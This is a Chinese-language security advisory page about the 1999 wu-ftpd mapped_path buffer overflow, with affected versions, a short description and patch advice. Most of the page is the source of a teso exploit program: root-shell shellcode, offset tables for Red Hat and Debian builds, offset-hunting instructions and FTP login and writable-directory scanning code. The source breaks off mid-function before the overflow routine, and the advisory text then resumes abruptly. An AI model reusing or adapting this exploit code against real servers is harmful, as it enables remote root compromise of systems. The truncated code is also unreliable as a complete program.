首页 -> 安全研究

安全研究

安全漏洞
Wu-Ftpd mapped_path溢出漏洞

发布日期:1999-08-22
更新日期:1999-08-31

受影响系统:
BeroFTPD BeroFTPD 1.3.4
BeroFTPD BeroFTPD 1.3.3
BeroFTPD BeroFTPD 1.3.2
Washington University wu-ftpd 2.5
   + RedHat Linux 6.1
Washington University wu-ftpd 2.4.2 VR17
Washington University wu-ftpd 2.4.2 VR16
Washington University wu-ftpd 2.4.2 (beta 18) VR9
Washington University wu-ftpd 2.4.2 (beta 18) VR8
Washington University wu-ftpd 2.4.2 (beta 18) VR7
Washington University wu-ftpd 2.4.2 (beta 18) VR6
Washington University wu-ftpd 2.4.2 (beta 18) VR5
Washington University wu-ftpd 2.4.2 (beta 18) VR4
Washington University wu-ftpd 2.4.2 (beta 18) VR15
Washington University wu-ftpd 2.4.2 (beta 18) VR14
Washington University wu-ftpd 2.4.2 (beta 18) VR13
Washington University wu-ftpd 2.4.2 (beta 18) VR12
Washington University wu-ftpd 2.4.2 (beta 18) VR11
Washington University wu-ftpd 2.4.2 (beta 18) VR10
不受影响系统:
Academ wu-ftpd 2.4.2
NcFTP Software NcFTPD 2.5
NcFTP Software NcFTPD 2.4.1
NcFTP Software NcFTPD 2.4
NcFTP Software NcFTPD 2.3.5
NcFTP Software NcFTPD 2.3.4
NcFTP Software NcFTPD 2.3.3
NcFTP Software NcFTPD 2.3.2
NcFTP Software NcFTPD 2.3.1
NcFTP Software NcFTPD 2.3
NcFTP Software NcFTPD 2.2.2
S.u.S.E. Linux 6.1
Washington University wu-ftpd 2.6
描述:
在wu-ftpd 2.5和以前的版本中存在一个缓冲区溢出漏洞。它同以前的wu-ftpd漏洞类似,
也是与路径和路径转换有关。静态数组mapped_patch被拷贝到堆栈中一个本地的缓冲区
中,但没有做边界检查,导致缓冲区溢出并以root身份执行任意代码。
如果一个系统正在运行有弱点的wu-ftpd,并且允许匿名用户有写权限,那这个系统就有
严重的安全问题了。
这个漏洞可能导致通过匿名ftp远程获取root权限(如果开放了匿名服务的话),或者通过
已知帐号/口令的用户来远程获取root权限。

有问题的那段代码中将函数'getcwd'定义为'mapped_path_cwd'. 而mapped_path_cwd没有
做边界检查。当一个FTP客户发送一个CWD命令时,'pwd'函数被调用。它转而调用getcwd,同
时传给它一个大小为MAXPATHLEN + 1的缓冲区。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

---ifafoffuffoffaf.c---
/*
  <tmogg> ifaf ?
  <typo_> integrated ftp attack facility
  <ElCamTuf> ifafoffuffoffaf
  <ElCamTuf> sounds much better

Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
_----------------------------------------------------------------------------_
    Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
    but wuftpd is too boring to finetune it.. enjoy this sploit in the
    meanwhile. Send me offsets (see below) to typo@scene.at.
-____________________________________________________________________________-

Contributors:
     Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
     edi (found a way to only have to find 2(!) offsets, he is hardcore!)
     lcamtuf (dziekuje tobie za ostatunia noc)
     Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
     scut (minor include and style fixes)
     smiler (asm bugfixing), stealth (hellkit rox)

Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>

/* LaM3rZ shellcode */
unsigned char lamerz[]=
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
        "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
        "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
        "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
        "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
        "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
        "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
        "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
        "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
        "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
        "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";

/* teso code: write(1,"teso\n",5); exit(0); */
unsigned char testcode[] =
    "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
    "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
    "\xcd\x80\xe8\xdf\xff\xff\xfftesox";

/* teso code: ioctl(, 0x5309, 0); */
unsigned char cdcode[] =
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
  "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
  "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
  "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
  "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";

/* uh.. script kiddies suck. */
char *shellcode = cdcode;

typedef struct dir *dirptr;

struct dir {
        char    *name;
        dirptr  next;
} dirproto;

void    title (void);
void    usage (const char *me);
void    connect_to_ftp (void);
void    log_into_ftp (void);
void    parseargs (int argc, char **argv);
void    cleanup_and_exit (void);
int     x2port (const char *smtn);
void    err (int syserr, const char *msg, ...);
int     cwd (const char *path);
int     mkd (char *name);
int     rmd (char *name);
int     is_writable (void);
void    getpwd (void);
int     recurse_writable (void);
void    *xmalloc (size_t size);
void    *xcalloc (int factor, size_t len);
char    *xstrdup (const char *s);
ssize_t xread (int fd, void *buf, size_t count);
ssize_t xwrite (int fd, const void *buf, size_t count);
int     xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
int     xsocket (int domain, int type, int protocol);
int     xsetsockopt (int s, int level, int optname, const void *optval,
        unsigned int optlen);
int     xconnect (int  sockfd,  struct sockaddr *serv_addr, int addrlen);
void    sighandler (int signal);
struct hostent  *xgethostbyname (const char *name);
struct hostent  *xgethostbyaddr (const char *addr, int len, int type);
void    putserv (const char *fmt, ...);
char    *getline (void);
char    *getmsg (const char *msg);
int     wuftpd_250_sploitit (void);
dirptr  newdir (char *name);
char    *getdir (char *stat);
char    *int2char (int addr);
int     check_test_return();

/*----------------------------------------------------------------
***                     How to get offsets                     ***
------------------------------------------------------------------
Edis elite way of getting offsets:

objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
grep "\$0x80" | awk '{print $8}'
------------------------------------------------------------------
My lame way of getting offsets:
(as many people have asked: search for ltrace at http://freshmeat.net/)

tty1:
nc 0 21
USER someuser
PASS hispass
tty2:
ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
tty1:
CWD /not/current/dir
MOO
QUIT
tty2:
first argument of first SYS_chdir is mapped_path offset.
first argument of longjmp is errcatch offset
------------------------------------------------------------------
try 4096 and/or 1024 for maxpathlen (works 99% of the time).
------------------------------------------------------------------*/

struct sploitdata {
        char            *banner;
        char            *desc;
        char            pad_eax;
        unsigned int    maxpathlen;
        unsigned int    mapped_path;
        unsigned int    errcatch;
        int             (*code)();
        int             need_writable;
};

#define START_MAPPED 0x08060000

struct sploitdata spdata[] = {
        {
            "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
            "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
            0,
            4096,
            0x0806a1e0,
            0x08077fc0,
            wuftpd_250_sploitit,
            1,
        },
        {
            "Fri May 21 10:45:57 EDT 1999",
            "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
            0,
            1024,
            0x08066890,
            0x0806fcc0,
            wuftpd_250_sploitit,
            1,
        },
        {
            "Tue Jun 8 11:19:44 EDT 1999",
            "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
            0,
            1024,
            0x08067504,
            0x08077fc0,
            wuftpd_250_sploitit,
            1,
        },
        {
            "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
            "debian 2.1 - standard source compilation",
            0,
            1024,
            0x806928c,
            0x8071a80,
            wuftpd_250_sploitit,
            1,
        },
        {
            "FTP server (Version wu-2.5.0(1)",
            "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
            0,
            4096,
            0x8068f80,
            0x8076d60,
            wuftpd_250_sploitit,
            1,
        },
        {
            NULL,
            NULL,
            0,
            0,
            0,
            0,
            NULL,
            0,
        }
};

struct sploitdata *sptr = spdata;

int     debug = 0,
        disp = 1,
        fd = 0,
        nostat = 1,
        offset_selected = 0;

struct tesopt {
        char                    *user;
        char                    *host;
        char                    *pass;
        char                    *cwd;
        char                    *rev;
        char                    *dirname;
        int                     dirlen;
        char                    testonly;
        char                    dirscanonly;
        unsigned short int      sport;
        unsigned short int      port;
        struct hostent          *he;
} tesopt;

struct hostinf {
        char    *header;
        char    *pwd;
        char    *writable_dir;
        int     pwdlen;
} hostinf;

#define COLOR

#ifdef COLOR
#define C_NORM "\E[0m"
#define C_BOLD "\E[1m"
#define C_GREEN "\E[32m"
#define C_RED "\E[31m"
#define C_BROWN "\E[33m"
#define C_BLUE "\E[34m"
#define C_PINK "\E[35m"
#define C_CYAN "\E[36m"
#define C_YELL  "\E[33m"
#else
#define C_NORM ""
#define C_BOLD ""
#define C_GREEN ""
#define C_RED ""
#define C_BROWN ""
#define C_BLUE ""
#define C_PINK ""
#define C_CYAN ""
#define C_YELL  ""
#endif

/* title
*
* print title
*
* no return value
*/
void
title (void)
{
        printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
                C_NORM"\n");
        return;
}

/* newdir
*
* return a pointer to a new dir with name name
*
* pointer to dir structure
*/
dirptr
newdir (char *name)
{
    dirptr      tmp;

    tmp = (dirptr) xmalloc (sizeof (dirproto));
    tmp->name = xstrdup (name);
    tmp->next = NULL;

    return (tmp);
}

/* usage
*
* print usage
*
* no return value
*/
void
usage (const char *me)
{
    struct sploitdata   *cow;
    int                 i = 0;
    
/*    printf ("usage: %s\n\n", me); */
    printf ("-h              - this help\n"
    "-s <server>     - specify server\n"
    "-p <port>       - destination port\n"
    "-f <sourceport> - source port\n"
    "-v(v)           - increase verboseness, use twice for full verboseness\n"
    "-u <user>       - user name to use for login\n"
    "-P <pass>       - password to use for login\n"
    "-c <startdir>   - directory to cwd to after login\n"
    "-d <writedir>   - directory to test writeability with\n"
    "-r <revhost>    - revlookup this host sees you with\n"
    "-D <dirlen>     - specifies the directory length\n"
    "-T              - use test shellcode (prints success, spawns no shell)\n"
    "-t <type>:\n");

    for (cow = spdata ; cow->desc ; ++cow) {
        printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
        C_BOLD, C_NORM, cow->banner, cow->desc);
    }
    printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);

    exit (EXIT_FAILURE);
}

/* sighandler
*
* handle signals
*
* no return value
*/
void
sighandler (const int signal)
{
        printf ("received signal: %d... exiting!\n", signal);
        cleanup_and_exit ();
}

/* err
*
* print an error message. if arg0 is set add an errno message (perror like)
* exit afterwards
*
* no return value
*/
void
err (const int syserr, const char *msg, ...)
{
        va_list ap;

        printf ("%serr:%s ", C_RED, C_NORM);

        va_start (ap, msg);
        vprintf (msg, ap);
        va_end (ap);

        if (syserr) {
                printf (": %s\n", sys_errlist[errno]);
        } else {
                printf ("\n");
        }

        cleanup_and_exit();

        return;
}

/* parseargs
*
* parse arguments
*
* no return value (exit on failure)
*/
void
parseargs (int argc, char **argv)
{
        char    c;

        opterr = 0;
        tesopt.user = "anonymous";
        tesopt.pass = "m@y.kr";
        tesopt.dirname = "tesotest";
        tesopt.port = 21;
        tesopt.sport = 666;
        tesopt.cwd = "";
        tesopt.dirlen = 255;
        tesopt.testonly = 0;
        tesopt.dirscanonly = 0;

        while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
                switch (c) {
                case 'v':       ++debug;
                                break;
                case 'h':       usage (argv[0]);
                                break;
                case 's':       tesopt.host = optarg;
                                break;
                case 'p':       if (optarg != NULL)
                                        tesopt.port = x2port (optarg);
                                break;
                case 'f':       if (optarg != NULL)
                                        tesopt.sport = x2port (optarg);
                                break;
                case 'u':       if (optarg != NULL)
                                        tesopt.user = optarg;
                                break;
                case 'P':       if (optarg != NULL)
                                        tesopt.pass = optarg;
                                break;
                case 'c':       if (optarg != NULL)
                                        tesopt.cwd = optarg;
                                break;
                case 'd':       if (optarg != NULL)
                                        tesopt.dirname = optarg;
                                break;
                case 'r':       if (optarg != NULL)
                                        tesopt.rev = xstrdup (optarg);
                                break;
                case 'D':       tesopt.dirlen = atoi(optarg);
                                break;
                case 't':       sptr += atoi(optarg);
                                offset_selected = 1;
                                if (!sptr->desc) {
                                        err (0, "invalid offset set");
                                }
                                break;

                case 'T':       shellcode = testcode;
                                tesopt.testonly = 1; break;
                case 'o':       tesopt.dirscanonly = 1; break;

                }
        }

        if (tesopt.host == NULL)
                err (0, "server not specified (see -h)");
        if (tesopt.port == 0)
                err (0, "port not or incorrectly specified (see -h)");
        if (tesopt.sport == 0)
                err (0, "sport not or incorrectly specified (see -h)");

        if (tesopt.dirlen == 0)
                err (0, "illegal dirlen!\n");

        tesopt.he = xgethostbyname (tesopt.host);

        return;
}

struct hostent *
xgethostbyname (const char *name)
{
        struct hostent  *tmp;

        tmp = gethostbyname (name);
        if (tmp == NULL)
                err (1, "cannot gethostbyname");

        return (tmp);
}

struct hostent *
xgethostbyaddr (const char *addr, int len, int type)
{
        struct hostent  *tmp;

        tmp = gethostbyaddr (addr, len, type);
        if (tmp == NULL)
                err(1,"cannot gethostbyaddr");

        return (tmp);
}

/* xmalloc
*
* wrap malloc with error handling
*
* return or abort
*/
void *
xmalloc (size_t size)
{
        void    *tmp = malloc (size);

        if (tmp == NULL)
                err (1, "malloc failed");

        return (tmp);
}

/* xcalloc
*
* wrap calloc with error handling
*
* return or abort
*/
void *
xcalloc (int factor, size_t len)
{
        void    *new = calloc (factor, len);

        if (new == NULL)
                err (1, "calloc failed");

        return (new);
}

/* xstrdup
*
* wrap strdup with error handling
*
* return or abort
*/
char *
xstrdup (const char *s)
{
        char    *tmp;

        tmp = strdup (s);
        if (tmp == NULL)
                err (1, "strdup failed");

        return (tmp);
}

/* xread
*
* read with error handling
*
* return length of readen data
*/
ssize_t
xread (int fd, void *buf, size_t count)
{
        int     tmp;

        tmp = read (fd, buf, count);
        if (tmp < 1)
                err (1, "read failed");

        return (tmp);
}

/* xwrite
*
* write with error handling
*
* return length of written data
*/
ssize_t
xwrite (int fd, const void *buf, size_t count)
{
        int     tmp;

        tmp = write (fd, buf, count);
        if (tmp < 0)
                err (1, "write failed");

        return (tmp);
}

/* xbind
*
* bind with error handling
*
* return bound socket
*/
int
xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
{
        int     tmp;

        tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
        if (tmp < 0)
                err (1, "bind failed");

        return (tmp);
}

/* xsocket
*
* socket with error handling
*
* return allocated socket descriptor
*/
int
xsocket (int domain, int type, int protocol)
{
        int     tmp;

        tmp = socket (domain, type, protocol);
        if (tmp < 0)
                err (1, "socket failed");

        return (tmp);
}

/* xsetsockopt
*
* setsockopt with error handling
*/
int
xsetsockopt (int s, int level, int optname, const void *optval,
        unsigned int optlen)
{
        int     tmp;

        tmp = setsockopt (s, level, optname, optval, optlen);
        if (tmp < 0)
                err (1, "setsockopt failed");

        return (tmp);
}

/* xconnect
*
* connect with error handling
*/
int
xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
{
        int     tmp;

        tmp = connect (sockfd, serv_addr, addrlen);
        if (tmp < 0)
                err (1, "connect failed");

        return (tmp);
}


/* connect_to_ftp
*
* connect to ftpserver and resolve local ip
*
* return nothing
*/
void
connect_to_ftp (void)
{
    int                 i = 1;
    struct sockaddr_in  sin;
    struct hostent              *he;
    
    
    fd = xsocket (AF_INET, SOCK_STREAM, 0);
    xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
    
    bzero (&sin, sizeof (sin));
    
    sin.sin_family = AF_INET;
//    sin.sin_port = htons (tesopt.sport);
    sin.sin_addr.s_addr = 0;
    
   xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
    
    sin.sin_port = htons (tesopt.port);
    sin.sin_family = AF_INET;

    memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));

    xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));

    /* this is a good time to get our revlookup (if not user defined) */
    if (tesopt.rev == NULL) {
        i = sizeof (sin);
        getsockname (fd, (struct sockaddr *) &sin, &i);
        he = gethostbyaddr ((char *) &sin.sin_addr,
                            sizeof (sin.sin_addr), AF_INET);
        tesopt.rev = xstrdup (he->h_name);
    }
    printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);

    return;
}

/* putserv
*
* send data to the server
*/
void
putserv (const char *fmt, ...)
{
        va_list         ap;
        unsigned char   output[1024];
        int             i, total;

        memset (output, '\0', sizeof (output));
        va_start (ap, fmt);
        vsnprintf (output, sizeof (output) - 1, fmt, ap);
        va_end (ap);

        /* this is edis code
         */
        total = strlen (output);
        for (i = 0; i < total; i++) {
                if (output[i] == 0xff) {
                        memmove (output + i + 1, output + i, total - i);
                        total++;
                        i++;
                }
        }

        if (disp != 0 && (debug > 1))
                printf ("%s%s%s", C_BLUE, output, C_NORM);

        xwrite (fd, output, total);

        return;
}

#define LINEBUFLEN 8192
char    linebuf[LINEBUFLEN];  /* saves us free()ing trouble. */

/* getline
*
* get next line from server or local buffer
*/
char *
getline (void)
{
        char    y[2];
        int     i = 0;

        memset (linebuf, '\0', sizeof (linebuf));
        strcpy (y, "x");

        while (strncmp (y, "\n", 1) != 0) {
                if (i > (sizeof (linebuf) + 2)) {
                        err (0, "getline() buffer full");
                }
                i += xread (fd, y, 1);
                strcat (linebuf, y);
        }

        if (disp != 0 && debug > 0) {
#ifdef COLOR
                if (nostat != 0) {
                        char    color[64];

                        memset (color, '\0', sizeof (color));

                        switch (linebuf[0]) {
                        case '2':       strcpy (color, C_CYAN);
                                        break;
                        case '3':       strcpy (color, C_BROWN);
                                        break;
                        case '4':       strcpy (color, C_RED);
                                        break;
                        case '5':       strcpy (color, C_RED);
                                        break;
                        default:        break;
                        }

                        printf ("%s", color);
                }
#endif
                if (nostat != 0 || debug > 1)
                        printf ("%s", linebuf);
#ifdef COLOR
                if (nostat != 0)
                        printf ("%s", C_NORM);
#endif
        }

        return (linebuf);
}

/* getmsg
*
* discard lines until expected response or error is reported
*/
char *
getmsg (const char *msg)
{
        char    *line;
        int     i = strlen (msg);

        do {
                line = getline ();
        } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);

        return (line);
}

/* log_into_ftp
*
* log into the ftp server given the login name and password
*
* return nothing
*/
void
log_into_ftp (void)
{
        char    *line;
        char    foundmatch=0;

        line = getmsg ("220 ");
        hostinf.header = xstrdup (line);

        if (!debug)
            printf("%s", line);
        if (!offset_selected) {
            for (sptr = spdata ; sptr->banner ; ++sptr) {
                if (strstr(line, sptr->banner)) {
                    foundmatch=1;
                    break;
                }
            }
            if (!foundmatch)
                err(0, "No offset selected, and no matching banner found!");
        }

        printf ("Using offsets from: %s\n", sptr->desc);

        putserv ("USER %s\n", tesopt.user);
        getmsg ("331 ");
        putserv ("PASS %s\n", tesopt.pass);
        line = getmsg ("230 ");
        if (strncmp ("5", line, 1) == 0)
                err (0, "login not accepted!\n");

        if (strlen (tesopt.cwd) > 0) {
                if (cwd (tesopt.cwd) == 0) {
                        err (0, "initial CWD failed.");
                }
        }

        getpwd ();

        return;
}

/* recurse_writable
*
* recursively scans for writable dirs, starting in CWD
*
* return 1 for CWD is writable
* return 0 for no writable dir found
*/
int
recurse_writable (void)
{
        dirptr  dirroot = NULL,
                current = NULL,
                prev = NULL;
        char    *line = "",
                *tmp = "";

        if (is_writable () != 0)
                return (1);

        nostat = 0;
        putserv ("STAT .\n");

        while (strncmp (line, "213 ", 4) != 0) {
                line = getline ();
                tmp = getdir (line);

                if (tmp == NULL)
                        continue;
                if (dirroot == NULL) {
                        current = dirroot = newdir (tmp);
                        continue;
                }

                current->next = newdir (tmp);
                current = current->next;
        }

        nostat = 1;
        current = dirroot;

        while (current != NULL) {
                if (cwd (current->name)) {
                        if (recurse_writable ())
                                return (1);
                        cwd ("..");
                }

                prev = current;
                current = current->next;
                free (prev->name);
                free (prev);
        }

        return (0);
}

/* mkd
*
* make a directory
*
* return 0 on success
* return 1 if the directory already exists
* retrun 2 on error
*/
int
mkd (char *name)
{
        char    *line;

        putserv ("MKD %s\n", name);
        line = getmsg ("257 ");

        if (strncmp ("521 ", line, 4) == 0)
                return (1);

        if (strncmp ("257 ", line, 4) == 0)
                return (0);

        return (2);
}


/* rmd
*
* remove a directory
*
* return 0 on success
* return 1 on failure
*/
int
rmd (char *name)
{
        char    *line;

        putserv ("RMD %s\n", name);
        line = getmsg ("250 ");

        if (strncmp("250 ", line, 4) == 0)
                return (0);

        return (1);
}

/* is_writeable
*
* check whether the current working directory is writeable
*
* return 1 if it is
* return 0 if it is not
*/
int
is_writable (void)
{
        int     i = 0,
                is = 0;

redo:
        if (++i > 3)
                return (0);

        is = mkd (tesopt.dirname);
        if (is == 1) {
                printf ("leet.. our file already exists.. delete and retry\n");
                rmd (tesopt.dirname);

                goto redo;
        } else if (is == 0) {
                rmd (tesopt.dirname);

                return (1);
        }

        return (0);
}

/* cwd
*
* change current working directory on the ftp server
*
* return 1 on success
* return 0 on failure
*/
int
cwd (const char *path)
{
        char    *line;

        if (debug != 0)
                printf ("CWD %s\n", path);

        putserv ("CWD %s\n", path);
        line = getmsg ("250 ");

        if (strncmp ("250 ",line, 4) == 0)
                return (1);

        return (0);
}

/* getpwd
*
* sets hostinf.pwd to CWD
*
* returns nothing
*/
void
getpwd (void)
{
        char    *tmp,
                *line;
        char    *chr,
                *rchr;

        putserv ("PWD\n");
        line = getmsg ("257 ");
        if (strncmp ("257 ", line, 4) != 0)
                err (0, "getpwd failed: incorrect answer: %s", line);

        /* too long, but for sure long enough. */
        tmp = xcalloc (strlen (line) + 1, 1);
    
        chr = strchr (line, '"');
        rchr = strrchr (line, '"');

        if (chr == NULL)
                err (0, "no \"'s in getpwd.");

        if (chr == rchr)
                err (0, "only one \" in getpwd.");

        if ((rchr - chr) < 2)
                err (0, "pwd too short?");

        strncat (tmp, chr + 1, rchr - chr - 1);

        if (hostinf.pwd != NULL)
                free (hostinf.pwd);

        hostinf.pwd = xstrdup (tmp);
        free (tmp);

        hostinf.pwdlen = strlen (hostinf.pwd);
/*    printf("current pwd is %s\n", hostinf.pwd); */
}

/* getdir
*
* get directory from a STAT string (parsing works with wuftpd AND proftpd)
*
* return pointer to directory name on success
* return NULL on failu

建议:
WU-FTPD开发小组已经提供了一个针对WU-FTPD 2.5.0的补丁:

ftp://ftp.wu-ftpd.org/pub/wu-ftpd/quickfixes/apply_to_2.5.0/mapped.path.overrun.patch

BeroFTPD 1.3.4的用户也可以使用同样的补丁
建议升级到最新的wu-ftpd 2.6

浏览次数:10579
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障